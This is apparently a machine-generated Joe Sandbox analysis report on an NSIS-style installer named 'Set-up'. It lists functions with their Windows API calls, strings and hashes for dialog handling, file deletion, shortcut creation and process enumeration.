Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

N, xrefs: 00404C06
M, xrefs: 00404B43
, xrefs: 00404F39
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@%F, xrefs: 00404674
82D, xrefs: 004046DB
@rD, xrefs: 00404610
A, xrefs: 00404636

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

%s: failed opening file "%s", xrefs: 00406F0C
GetTTFNameString, xrefs: 00406F07
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
\*.*, xrefs: 00406D03
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
Delete: DeleteFile("%s"), xrefs: 00406DBC

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
@%F, xrefs: 00406A53
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

Module32FirstW, xrefs: 004065D3
GetModuleBaseNameW, xrefs: 00406494
PSAPI.DLL, xrefs: 00406464
Process32NextW, xrefs: 004065C8
Process32FirstW, xrefs: 004065BD
Module32NextW, xrefs: 004065DE
EnumProcesses, xrefs: 00406482
EnumProcessModules, xrefs: 0040648A
Kernel32.DLL, xrefs: 0040659B
CreateToolhelp32Snapshot, xrefs: 004065B5
Unknown, xrefs: 004064FC

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

N, xrefs: 0040426C
@%F, xrefs: 004042A7
open, xrefs: 004042DF

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

